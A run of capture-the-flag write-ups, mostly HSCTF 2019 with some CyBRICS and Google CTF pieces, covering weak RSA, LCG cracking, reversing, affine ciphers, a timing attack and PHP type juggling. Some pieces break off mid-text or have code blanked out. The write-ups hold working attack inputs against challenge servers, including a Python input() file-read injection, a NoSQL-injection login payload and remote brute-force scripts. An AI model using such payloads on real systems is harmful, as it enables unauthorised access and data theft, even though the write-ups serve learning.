723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943```It's really large. So I thought to check anyways on ecc factoring for its to be prime and we got that its really a massive prime number.So then I realize that choosing a large modulus so that it can be factorized into p & q which should be unknown for the sake of security. But if its a prime number then we have to just calculate euler totient of n i.e. n-1 to exploit it, and then calculate `d=modInverse(e,phi(n))` and tada! we have private exponent, then just basic stuffs.```python>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{forg0t_t0_mult1ply_prim3s}'```So the flag is :`hsctf{forg0t_t0_mult1ply_prim3s}` ## Really Secure Algorithm-:> description: ### Solution: We are given with modulus and ciphertext```n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609e = 65537c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847```Then I factored n on factordb.I got that n is the square of a prime number.Then just again simple basic stuffs calculate euler totient of n i.e. p*(p-1) , and then calculate `d=modInverse(e,phi(n))` and tada we have private exponent, then just basic stuffs. ```>>> p=16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647>>> import gmpy2>>> d=gmpy2.invert(e,p*(p-1))>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{square_number_time}'```So the flag is :`hsctf{square_number_time}` ## Tux Kitchen-:> description: ### Solution:Here's the problem ```pythonimport random good_image = """ TUX's KITCHEN ..- - . ' `. '.- . .--. . |: _ | : _ :| |`(@)--`.(@) | : .' `-, : :(_____.-'.' ` : `-.__.-' : ` _. _. . / / `_ ' \\ . . : \\ \\ . : _ __ .\\ . . / : `. \\ : / ' : `. . ' ` : : : `. .`_ : : / ' | :' \\ . : '__ : .--' \\`-._ . .' : `). ..| \\ ) : '._.' : ; \\-'. ..: / '. \\ - ....- | ' -. : _____ | .' ` -. .'-- --`. .' `-- -- """ flag = open('flag.txt','r').read()MY_LUCKY_NUMBER = 29486316 # I need to bake special stuff!def bake_it(): s = 0 for i in range(random.randint(10000,99999)): s = random.randint(100000000000,999999999999) s -= random.randint(232,24895235) return random.randint(100000000000,999999999999) # Create my random messdef rand0m_mess(food,key): mess = [] mess.append(key) art = key bart = bake_it() cart = bake_it() dart = bake_it() for i in range(len(food)-1): art = (art*bart+cart)%dart mess.append(art) return mess # Gotta prepare the food!!!def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food # Bake it!!!def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) treasure = prepare(treasure) return treasure print(good_image)key = bake_it()print(final_baking(flag,key))```great image .So at first we reversed the prepared treasure,but look closely here ```for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER```Iterator is k but i is used that is constant So we need to just xor for all the numbers with the lucky number.Then to reverse this line `treasure.append(ord(food[i])*baked[i])` I need to find `baked[i]` for which I see the random_mess function which is nothing other than [LCG](https://en.wikipedia.org/wiki/Linear_congruential_generator) itself.So we know the starting of flag is 'hsctf{'.Then accordingly we calculated first six values of the sequence and with the help of works of msm from p4team on lcg we used the [script](assets/crypto/fullscript.py) to get the flag .This might fail sometime because of gcd(modulo , numbers ) !=1 or modulus isn't prime .So we have to test this for a while to get the result. ```pythonfrom functools import reducefrom gmpy2 import * def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier) def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus) st=input("enter the states:")g=stfor i in range(len(g)): g[i]^= 29486316 # the lucky number#print("treasure",g) #check for purpose flag="hsctf{"m=[]for i in range(len(flag)): if g[i]%ord(flag[i])==0: m+=[g[i]//ord(flag[i])] n,k,d = crack_unknown_modulus(m)print('modulo-> %d \t multiplier-> %d \t increment -> %d ' % (n,k,d)) w=[m[0]]for q in range(1,70): w+= [(w[q-1]*k+d) % n] # the sequence if m==w[:6]: print("this worked") # usual checkans=[]for i in range(70): ans+=[g[i]//w[i]] #generating flag print(''.join(chr(i) for i in ans)) ``` If you want to test this for yourself here are the [used numbers](assets/crypto/ans.txt):-Here is the flag after we ran the script `hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}` # **REVERSAL** ## I Thought Trig Was Really Easy-:> description: ### Solution: The problem is here as: ```pythonimport math def nice_math(x, y): return round(x + y*math.cos(math.pi * x)) lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2)) def get_number(char): return ord(char) - 96 inp = input("Enter the text: ") out = []for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1)) ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5]if (out == ans): print("That is correct! Flag: hsctf{" + inp + "}")else: print("Nope sorry, try again!")```So we see lot_of_nums which is very wierd trying to reverse the function looks difficult .So we see that each position of the flag depends upon the length of the flag and the character in this line `nice_math(get_number(inp[i]), len(inp) - i), i + 1`.That's nice_math function also looks difficult to reverse. So I tried to simply bruteforce it on the set of characters and we calculated the length of the flag on the basis of length of list ans `(((12+1)*(12+2)/2)-1)`.This was faster to do so i did it! ```pythonimport math def nice_math(x, y): return round(x + y*math.cos(math.pi * x)) lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2)) def get_number(char): return ord(char) - 96charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!:@#$%*-'"inp = ""flag=""l=1while l<=12: x=0 while x<len(charset): inp=flag+charset[x]+"b"*(12-l) assert(len(inp)==12) out = [] for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1)) ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5] g=((l+1)*(l+2)//2)-1 if(out[:g]==ans[:g]): flag+=charset[x] break x+=1 l+=1 print('The flag is:hsctf{'+flag+'}')```The flag is: `hsctf{:hyperthonk:}` ## Tux Talk Show 2019:> description: ### Solution: For this challenge it says about a lucky number.```Welcome to Tux Talk Show 2019!!!Enter your lucky number:```So we opened the ghidra for pseudocode:```c// modified a bit by me int main(int argc,char **argv) { long lVar1; int rand; time_t time; basic_ostream *this; long in_FS_OFFSET; int input; int i; int acc; int j; int array [6]; basic_string output_string [32]; basic_istream output_stream [520]; long stack_cookie_i_guess; lVar1 = *(long *)(in_FS_OFFSET + 0x28); basic_ifstream((char *)output_stream,0x1020b0); time = time((time_t *)0x0); srand((uint)time); /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */ this = operator<<<std--char_traits<char>> ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>); operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: "); operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input); array[0] = 0x79; array[1] = 0x12c97f; array[2] = 0x135f0f8; array[3] = 0x74acbc6; array[4] = 0x56c614e; array[5] = -0x1e; i = 0; while (i < 6) { rand = rand(); array[(long)i] = array[(long)i] - (rand % 10 + -1); i = i + 1; } acc = 0; j = 0; while (j < 6) { acc = acc + array[(long)j]; j = j + 1; } if (acc == input) { ... } return 0;}```here we have 6 numbers in an array and its being added after subtracting this `(iVar1 % 10 + -1)`and if our assumed number is correct than it will give the flag for us. So two ways we can solve it ,during the team discussion over this challenge I told them that I can write brute as the numbers are in the small range i.e 51 .Meanwhile the other way as my teammate suggested was to attack the rand function . I would explain both here. ```pythonfrom pwn import * a=[121, 1231231, 20312312, 122342342, 90988878, -30]host="rev.hsctf.com"port=6767 m=sum(a)-48g=sum(a)+6 # setting the rangeinp=m+16 #this is where i am guessing the number and try to run multiple times in the loopwhile inp<g+1: try: s=remote(host,port) print(s.recvline()) s.sendline(str(inp)) j=s.recvline() if "hsctf{" in j: print(j) s.close() exit(0) print(j) except: s.close() sleep(1) continue```Luckily, I got the flag from there `hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}` The second approach is here, save it as time.c and compile to a.out:```c#include "stdio.h"#include "stdlib.h" int main(int argc, char *argv[]) { time_t t; srand((unsigned) time(&t);; int array[6] = {0x79, 0x12c97f, 0x135f0f8, 0x74acbc6, 0x56c614e, -0x1e}; int acc = 0; for(int i = 0; i < 6; i++) acc += array[(long)i] - (rand() % 10 + -1); printf("%d\n", acc); return 0;}```and use it over this script ```pythonfrom pwn import *import time host = "rev.hsctf.com"port = 6767 s = remote(host,port)p = process("./a.out") res = p.recvline() s.recvuntil(':')s.sendline(res)s.interactive()```That's it , An attack over the rand function while running the netcat server. ## Bitecode -:> description: ### Solution:This Challenge was done by Lucas my teammate So I will try to explain as far as i know as he is not writing writeups. http://www.javadecompilers.com/ Use it for decompiling the given class file to [java file](assets/reversing/BiteCode.java). So lot of ifs for checking single characters of the flag one by one .So using regexes he extracted them and tried to write a brute to choose them. [Watch this video](https://youtu.be/rYOZHB_ABlo)[![Watch this video](https://imgur.com/x2U3taX.png)](https://youtu.be/rYOZHB_ABlo) <video src="assets/reversing/regexislife.mp4" width="320" height="200" controls preload></video> So that's it to write a script to get the flag:smiley:.```pythonb = ['A'] * 28for i in range(0xff): if (i ^ 189074585) - 189074673 == 0: b[0] = i if (i ^ -227215135) - -227215214 == 0: b[1] = i if (i ^ 19240864) - 19240899 == 0: b[2] = i if (i ^ 245881291) - 245881279 == 0: b[3] = i if (i ^ 233391094) - 233390992 == 0: b[4] = i if (i ^ 56978353) - 56978378 == 0: b[5] = i if (i ^ -213838484) - -213838565 == 0: b[6] = i if (i ^ -231671677) - -231671605 == 0: b[7] = i if (i ^ -132473862) - -132473910 == 0: b[8] = i if (i ^ 143449065) - 143449053 == 0: b[9] = i if (i ^ 108102484) - 108102411 == 0: b[10] = i if (i ^ 71123188) - 71123073 == 0: b[11] = i if (i ^ 146096006) - 146096089 == 0: b[12] = i if (i ^ -173487738) - -173487628 == 0: b[13] = i if (i ^ -116507045) - -116507132 == 0: b[14] = i if (i ^ -68013365) - -68013319 == 0: b[15] = i if (i ^ 171414622) - 171414529 == 0: b[16] = i if (i ^ 94412444) - 94412524 == 0: b[17] = i if (i ^ 197453081) - 197453163 == 0: b[18] = i if (i ^ -50622153) - -50622201 == 0: b[19] = i if (i ^ 190140381) - 190140290 == 0: b[20] = i if (i ^ 77383944) - 77383996 == 0: b[21] = i if (i ^ -41590082) - -41590047 == 0: b[22] = i if (i ^ 61204303) - 61204283 == 0: b[23] = i if (i ^ -24637751) - -24637791 == 0: b[24] = i if (i ^ 61697107) - 61697122 == 0: b[25] = i if (i ^ 267894989) - 267895017 == 0: b[26] = iprint(''.join([chr(i) for i in b[:-1]]))```Here's the flag `hsctf{wH04_u_r_2_pr0_4_th1$}` # **WEB** ## MD5-- :> description: ### Solution: ```php ```From this you can see that flag contains the data of flag file and then value of md4 variable is set and after its value is compared to the md4(value) and then only we can obtain flag. One thing to note that '==' comparison is used. This is where Type juggling comes. See for more [PHP Magic Tricks: Type Juggling](https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf) So what we will try to do to pick up a string which prefix would be '0e' for a reason then adding numbers ahead then calculate its md4 which will be equal to `/0e[0-9]{30}/`.So when the comparison is to be made then the strings will be treated as exponent of 0 (like 0e4=0). Thus both sides will be zero hence we will have our flag.```php {}".format(st, hashed_s) sys.exit(0) if s%10000000==0: print("[+] %d iterations done"%(s)) breakit()```Running this we get this after more than 250000000 iterations.> [+] found! md4( 0e251288019 ) ---> 0e874956163641961271069404332409 Here's our flag `hsctf{php_type_juggling_is_fun}` ## Networked Password -:> description: ### Solution: We are given a https://networked-password.web.chal.hsctf.com/ which prompts us to submit a password having a simple form to fill it up, but from the description we see thats its delays some thing we don't know what until i saw a time differnece in our inputs like for a gibberish we see fast output but for a flag like "hsctf{" it delayed a bit. And there was a hint given as well-: > Hint : You know the flag format So after attempting few times i got that every character adds 0.45-0.5 seconds.But running this script you need a better internet connection.So i tried running using online interpeter there's are ton of available. You can use https://repl.it/languages/python3 or https://codeanywhere.com/editor/ you need these because of their fast servers. And At last my first *timing attack challenge*. ```pythonimport requestsimport datetime URL="https://networked-password.web.chal.hsctf.com/"charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%*-'"flag="hsctf{" DATA={'password':flag}r=requests.post(url=URL,data=DATA)realtime=r.elapsed.total_seconds()print("The Current Time:"+str(realtime)) # printing for debugging for i in range(len(charset)): DATA={'password':flag+charset[i]} r=requests.post(url=URL,data=DATA) nexttime=r.elapsed.total_seconds() print("[+]Testing:"+str(nexttime)) # printing for debugging if(realtime+0.4<nexttime): realtime=nexttime if(charset[i]=='}'): print("The final flag is"+flag ) exit(0) flag+=charset[i] print("Current flag->"+ flag) i=0exit(0)```Here's the flag after so much running `hsctf{sm0l_fl4g}`Glad they had the small flag. # **FORENSICS** ## Double Trouble : > description: ### Solution: After downloading image you see both are quite similar . ![](assets/forensics/koala.png) ![](assets/forensics/koala2.png) So, First thing i did to check hexes and I see bytes aren't similar . Then first thing first for a forensic challenge [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install). Opening it on command line `java -jar stegsolve.jar` I tried image combiner to do AND , OR , XOR operations.But no luck.So i tried strings exiftool then reached zsteg and the output was:```streaker@DESKTOP-DS7FIJL:$ zsteg koala.png/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777imagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: "
# Zakukozh - Category: Crypto- Rating: Baby- points: 10 # Challenge >Zakukozh (Cyber, Baby, 10 pts) Author: Khanov Artur (awengar)>This image containing flag is encrypted with affine cipher. Scrape it We are given a file encrypted using the affine cipher ![Imgur](https://i.imgur.com/4iB29ei.png) Taking a look at Wikipedia's description, it looks like encryption and decryption use the same formula `(ax + b) % m` with different parameters, namely `a` and `b`, which we can probably brute force. Also note the a and m have to be coprime, which reduces the search space quite a bit. We still have to determine our `m` though. In this case we are using the cipher on a file, i.e. on its bytes which go from `00` to `FF`, thus `m = 256`. We will know to stop when we detect `png` or `jpeg` magic bytes at the beginning of the file. Seems that everything is in order, let's get cracking. # Solution ```pythonfrom math import gcd data = bytearray(open('zakukozh.bin', 'rb').read())m = 256 def affine(n, a, b): return (a*n + b) % m for a in range(m): if gcd(a, m) != 1: # This is a necessary condition for a continue for b in range(m): new = [affine(data[0],a,b), affine(data[1],a,b)] # decode just the first 2 bytes if new == [255, 216]: # jpg magic print("possible jpg:",a,b) if new == [137,80]: # png magic print("possible png:",a,b) # We get one of each in a flash# possible jpg: 177 159# possible png: 239 233 # decode the whole file now using the a and b we foundjpg = bytearray([affine(b,177,159) for b in list(data)]) png = bytearray([affine(b,239,233) for b in list(data)])open('out.jpg','wb').write(jpg)open('out.png','wb').write(png)```Running file on both shows some metadata for the png which looks promising.![Imgur](https://i.imgur.com/6DcaLZK.png) And it is the flag.![flag](out.png) # Flag `cybrics{W311_C0M3_2_CY13R1C5}`
ChallengeSatelliteCategory: Networking Placing your ship in range of the Osmiums, you begin to receive signals. Hoping that you are not detected, because it's too late now, you figure that it may be worth finding out what these signals mean and what information might be "borrowed" from them.Can you hear me Captain Tim? Floating in your tin can there? Your tin can has a wire to ground control? Find something to do that isn't staring at the Blue Planet. Solution Once again we have a zip file (which I imagine the rest of the challenges will also have) and we get two files when we unzip it -rwxr-xr-x 1 root root 3315571 Dec 31 1979 init_sat-rw-r--r-- 1 root root 2866350 Dec 31 1979 README.pdf A PDF and another executable. When I executed the file a prompt showed up:"Enter the name of the satellite to connect to or 'exit' to quit" So I opened up the PDF to see the word osmium written on a picture of satellite which also has init_sat written on it.I gave "osmium" as an input to the program and it responds with this: Enter the name of the satellite to connect to or 'exit' to quitosmiumEstablishing secure connection to osmium satellite...Welcome. Enter (a) to display config data, (b) to erase all data or (c) to disconnect Username: brewtoot password: ******************** 166.00 IS-19 2019/05/09 00:00:00 Swath 640km Revisit capacity twice daily, anywhere Resolution panchromatic: 30cm multispectral: 1.2m Daily acquisition capacity: 220,000km² Remaining config data written to: https://docs.google.com/document/d/14eYPluD_pi3824GAFanS29tWdTcKxP_XUxx7e303-3E When we open up that google doc link we get some base64 encoded data:VXNlcm5hbWU6IHdpcmVzaGFyay1yb2NrcwpQYXNzd29yZDogc3RhcnQtc25pZmZpbmchCg== Which decodes to "Username: wireshark-rocksPassword: start-sniffing!" So its time to open up wireshark and do a packet capture before executing the binary again. Once I did this, there were 2 IP addresses which looked of interest to me "34.95.71.207", and "34.76.101.29" so I ran nmap on both of them in the background - the first of which seemed to be the server the CTF is hosted on BUT when we actually look into the packets we see our flag in one of them! "Username: brewtoot password: CTF{4efcc72090af28fd33a2118985541f92e793477f} 166.00 IS-19 2019/05/09 00:00:00 Swath 640km Revisit capacity twice daily, anywhere Resolution panchromatic: 30cm multispectral: 1.2m Daily acquisition capacity: 220,000km² Remaining config data written to: https://docs.google.com/document/d/14eYPluD_pi3824GAFanS29tWdTcKxP_XUxx7e303-3E"
# Zakukozh > Zakukozh (Cyber, Baby, 10 pts)> Author: Khanov Artur (awengar)> > This image containing flag is encrypted with affine cipher. Scrape it> > zakukozh.bin The description of the challenge tells us an image has been encrypted using the [affine cipher](https://en.wikipedia.org/wiki/Affine_cipher). This is a simple substitution cipher where each letter x is replaced by another one given by the formula _E(x) = (a × x) + b mod m_, where _x_ is the letter we're encrypting, _m_ is the size of the alphabet and _a, b_ are the keys of the cipher. _a_ and _m_ must be coprime. Decryption is given by _D(x) = a^(-1) × (x - b) mod m_, where _a^(-1)_ is the multiplicative inverse of _a_. _b_ is the same for both functions. In our case, _m_ = 256 because we're working with bytes instead of letters. Therefore, _a_ is an odd number between 3 and 255 (because 256 is a power of 2 and any even number would be divisible by 2). This actually means there are only 127 × 256 = 32512 possible key combinations, which is small enough to bruteforece. Entering `file zakukozh.bin` on the console gives us no useful information. Taking a look at the `zakukozh.bin` file with an hex editor, we can see the header starts with `60 09 eb 82 1c ef df ef`. Let's analyze the header of common image formats to find similarities: - JPEG: `ff d8 ff e0 xx xx 4a 46 49 46`- GIF: `47 49 46 38 39 61`- PNG: `89 50 4e 47 0d 0a 1a 0a` The sixth and eighth bytes are identical in our file (`ef`) and in the PNG header (`0a`), suggesting the encrypted file is a PNG image. Knowing both ciphertext and cleartext, it's easy to find out _a_ and _b_ such that E(`0x89`) = `0x60`, E(`0x50`) = `0x09` and so on. ```pythonpng = [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]zakukozh = [0x60, 0x09, 0xeb, 0x82, 0x1c, 0xef, 0xdf, 0xef] for a in range(3, 256, 2): for b in range(0, 256): c = png[:] for i in range(0, len(c)): c[i] = ((a * c[i]) + b) % 256 if c == zakukozh: print('a: %d b: %d' % (a, b))``` This script gives us `a: 15 b: 89`. _b_ is the same for encryption and decryption, so we only need to find _a_. ```pythonpng = [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]zakukozh = [0x60, 0x09, 0xeb, 0x82, 0x1c, 0xef, 0xdf, 0xef]b = 89 for a in range(3, 256, 2): c = zakukozh[:] for i in range(0, len(c)): c[i] = (a * (c[i] - b)) % 256 if c == png: print('a: %d b: %d' % (a, b))``` This script gives us `a: 239 b: 89`. Now we can decrypt the whole file. ```pythonwith open('zakukozh.bin', 'rb') as f: content = f.read()with open('output.png', 'wb') as f: for c in content: f.write(chr((239 * (ord(c) - 89)) % 256))``` In the image we have the flag `cybrics{W311_C0M3_2_CY13R1C5}`.
(full writeup at the link) write a script to bruteforce: ```pythonli = dict(zip("ABCDEFGHIJKLMNOPQRSTUVWXYZ",range(26))) # letter -> integeril = dict(zip(range(26),"ABCDEFGHIJKLMNOPQRSTUVWXYZ")) # integer -> letter cipher = "CGULKVIPFRGDOOCSJTRRVMORCQDZG" for i in range(1, 26): sub = 0 # counter for what to subtract by m = "" # message for l in cipher: nc = (li[l] + (i - sub)) % 26 # get integer representation of new letter m += il[nc] # add letter to message sub -= 1 # reduce the subtraction counter by 1 print(m)``` Only reasonable answer in response is "GLASSESAREUSEFULDONOTLOSETHEM"flag is: hsctf{GLASSESAREUSEFULDONOTLOSETHEM}
# The Quest ```You think you are worthy of obtaining the flag? Try your hand at The Quest to Obtain the Flag.``` We're given a Google form to fill out. Let's have a look at the source code to see if there's anything interesting. When doing so, we can use the search function to look for the flag. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-HSCTF6/images/the-quest.png)
```pythonimport requests s = requests.Session() data = { 'username':'admin', 'password':'","password":{"$ne":null},"username":"admin'} #loginresponse = s.post('http://173.199.118.226/index.php', data=data) #flagresponse = s.post('http://173.199.118.226/index.php?filter[$cond][if][$eq][][$strLenBytes]=$title&filter[$cond][if][$eq][][$toInt]=19&filter[$cond][then]=$text&filter[$cond][else]=12', data=data)print(bytes(response.content).decode())``` flag: cybrics{7|-|15 15 4 7E><7 |=|_49}
A High School CTF event. We tried to solve challenges as much as possible we can and as a result we secured 23rd position globally. ![image](assets/screencapture-ctf-hsctf-challenges-2019-06-08-12_20_54.png) As you can see from the image we lacks in binary exploitation or pwn challenges field.If anyone interested can contact us :smiley:. Challenge Name | Points | Flag------------ | ------------- | --------------- [A Simple Conversation](#a-simple-conversation-)| 158| hsctf{plz_u5e_pyth0n_3} |[Broken Repl](#broken_repl-) | 407| hsctf{dont_you_love_parsers} |[Hidden Flag](#hidden-flag-) | 290 | hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632} |[64+word](#64word--) | 421| hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?} |[Broken gps](#broken-gps-) | 280| hsctf{garminesuckz} |[Real Reversal](#realreversal-) | 274| hsctf{utf8_for_the_win} |[Json Info](#jsoninfo-) | 427| hsctf{JS0N_or_Y4ML} |[Massive Rsa](#massive-rsa-) | 256 | hsctf{forg0t_t0_mult1ply_prim3s} |[Really Secure Algorithm](#really-secure-algorithm-) | 314 | hsctf{square_number_time} |[Tux Kitchen](#tux-kitchen-) | 401 | hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621} |[I Thought Trig Was Really Easy](#i-thought-trig-was-really-easy-) | 374 |hsctf{:hyperthonk:} |[Tux Talk Show 2019](#tux-talk-show-2019) | 406 | hsctf{n1ce_j0b_w4th_r4ndom_gue33ing} |[Bitecode](#bitecode--) | 377|hsctf{wH04_u_r_2_pr0_4_th1$} |[MD5--](#md5---) | 230 | hsctf{php_type_juggling_is_fun} |[Networked Password](#networked-password--) | 314 | hsctf{sm0l_fl4g} |[Double Trouble](#double-trouble-)| 397| hsctf{koalasarethecutestaren'tthey?} So I will try to discuss the challenges i loved the *most* here: # **MISC** ## A Simple Conversation-:> description: ### Solution: On looking to the section of source code we see ```pythonprint("What's your age?") age = input("> ") sleep(1) ```Then I try to think that when it parses the input to input() function then it tries to evaluate it first that is it string , dictionary ,tuple or etc.? So guessing the flag on the server I try to send the arguments as you can see. ```streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag").read()Traceback (most recent call last): File "talk.py", line 18, in <module> age = input("> ") File "<string>", line 1, in <module>IOError: [Errno 2] No such file or directory: 'flag'streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag.txt").read()Wow!Sometimes I wish I was hsctf{plz_u5e_pyth0n_3}...```There you can see the flag:`hsctf{plz_u5e_pyth0n_3}` ## Broken_Repl-:> description: ### Solution: ```python try: # try to compile the input code = compile(line, "<input>", "exec") # compile the line of input except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad print("there was an error in your code:", e) # notify the user of the error if False: exec(code) # run the code # TODO: find replacement for exec # TODO: exec is unsafeexcept MemoryError: # we ran out of memory # uh oh # lets remove the flag to clear up some memory print(flag) # log the flag so it is not lost```You can see that you have to cause memory error only. So my teammate Lucas looked on web and finds out [this](https://stackoverflow.com/questions/50709371/ast-literal-eval-memory-error-on-nested-list).So you can see that we can cause memory error from nested list.Great learning :smiley: ```pythonecho "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]" | nc misc.hsctf.com 8550>>> s_push: parser stack overflowhsctf{dont_you_love_parsers}```There is the flag:`hsctf{dont_you_love_parsers}` ## Hidden Flag-:> description: ### Solution: I opened up my hexeditor HXD a great tool to change and view the hexes of file quite easily and I see messed up bytes in beginning. Then at the end of the file i see some text `key is invisible`. So then i realise that the bytes must be xored with the key and we got it by this [script](assets/misc/fixchall.py). ```pythonimport binasciifrom itertools import cycle,izip f=open("chall.png")g=(f.read())key="invisible"ciphered = ''.join(chr(ord(c)^ord(k)) for c,k in izip(g, cycle(key)))l=open("fixed.png","a+")l.write(ciphered) ```That's it :smiley: ## 64+Word -:> description: ### Solution :So from the description we see the word search and challenge name is 64+. So we need to do base64 word search of flag.Be sure as the base64 encode texts are multiple of 4 . So choose the texts accordingly.Here is the [Script](/assets/misc/ord64.py) ```pythonfrom base64 import *file=open("64word.txt")data=file.read().split("\n")o=0while o<100: g=data[o:] for q in range(100): j=q s="" for i in g: if j>=len(i): break s+=i[j] j+=1 possible_text=(b64decode(s[:4*(len(s)//4)])) if "hsctf{" in possible_text[:6]: end_ind=possible_text.find('}')+1 print("The flag is "+ possible_text[:end_ind] ) exit(0) o+=1 ``` then there is the flag:`hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}` ## Broken gps-:> description:Input Format: A challenge to test some coding skills. ### Solution:Here's the [script](assets/misc/dir_gps.py) thats explain it all. ```pythonimport math suffix=".txt"flag=""dirs=["east","west","south","north","northwest","northeast","southeast","southwest"]for i in range(1,13): up=0 right=0 filename=str(i)+suffix f=open(filename) h=(f.read()).split() for q in range(int(h[0])): pos=dirs.index(h[q+1]) if pos==0 or pos==5 or pos==6: right+=1 if pos==1 or pos==4 or pos==7: right-=1 if pos==3 or pos==4 or pos==5: up+=1 if pos==2 or pos==6 or pos==7: up-=1 